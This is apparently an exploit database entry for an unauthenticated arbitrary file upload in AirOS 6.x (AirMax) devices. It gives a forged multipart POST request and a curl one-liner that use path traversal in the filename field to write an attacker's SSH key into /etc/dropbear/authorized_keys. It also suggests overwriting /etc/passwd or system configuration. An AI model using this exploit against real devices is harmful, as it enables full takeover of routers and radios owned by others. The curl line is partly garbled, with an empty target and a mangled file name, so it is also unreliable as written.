AirOS 6.x - Arbitrary File Upload

ID 1337DAY-ID-25005
Type zdt
Reporter 93c08539
Modified 2016-04-15T00:00:00


Exploit for cgi platform in category web applications

                                            EDB-Note Source:
It's possible to overwrite any file (and create new ones) on AirMax systems, because the "php2" (maybe because of a patch) don't verify the "filename" value of a POST request. It's possible to a unauthenticated user to exploit this vulnerability.
Consider the following request:
Cookie: $Version=0; AIROS_SESSIONID=9192de9ba81691e3e4d869a7207ec80f; $Path=/; ui_language=en_US
Content-Type: multipart/form-data; boundary=---------------------------72971515916103336881230390860
Content-Length: 773
User-Agent: Jakarta Commons-HttpClient/3.1
Cookie: $Version=0; AIROS_SESSIONID=7597f7f30cec75e1faef8fb608fc43bb; $Path=/; ui_language=en_US
Content-Disposition: form-data; name="keyfile"; filename="../../etc/dropbear/authorized_keys"
Content-Type: application/
{{Your Public Key HERE}}
The web server must filter the file name ../../etc/dropbear/authorized_keys to just authorized_keys or return a 404. But the AirMax just received the file, overwriting the original (creating if don't exist) in the process. In this case the attacker are uploading arbitrary public ssh keys, but it can be used to upload configurations, or "/etc/passwd"...
It's possible to take control over any AirMax Product with simple forged http POST request, what it disastrous.
With a simple command:
curl -F "[email protected]/;filename=../../etc/dropbear/authorized_keys" -H "Expect:" '' -k
Of course if the ssh is disabled you can overwrite /etc/passwd and/or /tmp/system.cfg.

# [2018-01-08]  #